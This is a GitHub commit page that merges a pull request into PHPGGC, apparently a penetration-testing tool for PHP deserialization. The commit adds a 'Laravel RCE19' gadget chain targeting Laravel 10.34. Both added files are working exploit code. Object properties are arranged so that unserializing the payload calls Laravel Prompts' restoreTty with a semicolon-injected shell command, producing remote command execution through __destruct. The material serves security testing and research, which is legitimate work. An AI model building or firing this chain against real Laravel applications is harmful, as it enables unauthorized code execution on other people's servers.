Skip to content

Commit 61db64e

Browse files
authored
Merge pull request ambionics#173 from MaxRio87/laravel
[Laravel] RCE19 : 10.34
2 parents d6504b1 + 21d0601 commit 61db64e

File tree

2 files changed

+57
-0
lines changed

2 files changed

+57
-0
lines changed
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?php
2+
3+
namespace GadgetChain\Laravel;
4+
5+
class RCE19 extends \PHPGGC\GadgetChain\RCE\Command
6+
{
7+
public static $version = '10.34';
8+
public static $vector = '__destruct';
9+
public static $author = 'Fenrisk (Maxime Rinaudo)';
10+
public static $information = '';
11+
12+
public function generate(array $parameters)
13+
{
14+
$command = $parameters['command'];
15+
16+
return new \Illuminate\Support\Sleep($command);
17+
}
18+
}
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
<?php
2+
3+
namespace Laravel\Prompts {
4+
class Terminal {
5+
public $initialTtyMode;
6+
7+
function __construct($command)
8+
{
9+
$this->initialTtyMode = ";".$command.";#";
10+
}
11+
}
12+
}
13+
14+
namespace Illuminate\View {
15+
class InvokableComponentVariable
16+
{
17+
public $callable;
18+
19+
function __construct($command)
20+
{
21+
$this->callable = array(new \Laravel\Prompts\Terminal($command),'restoreTty');
22+
}
23+
}
24+
}
25+
26+
namespace Illuminate\Support {
27+
class Sleep
28+
{
29+
public $shouldSleep;
30+
public $duration;
31+
32+
function __construct($command)
33+
{
34+
$this->shouldSleep = true;
35+
$this->duration = new \Illuminate\View\InvokableComponentVariable($command);
36+
}
37+
}
38+
}
39+

0 commit comments

Comments
 (0)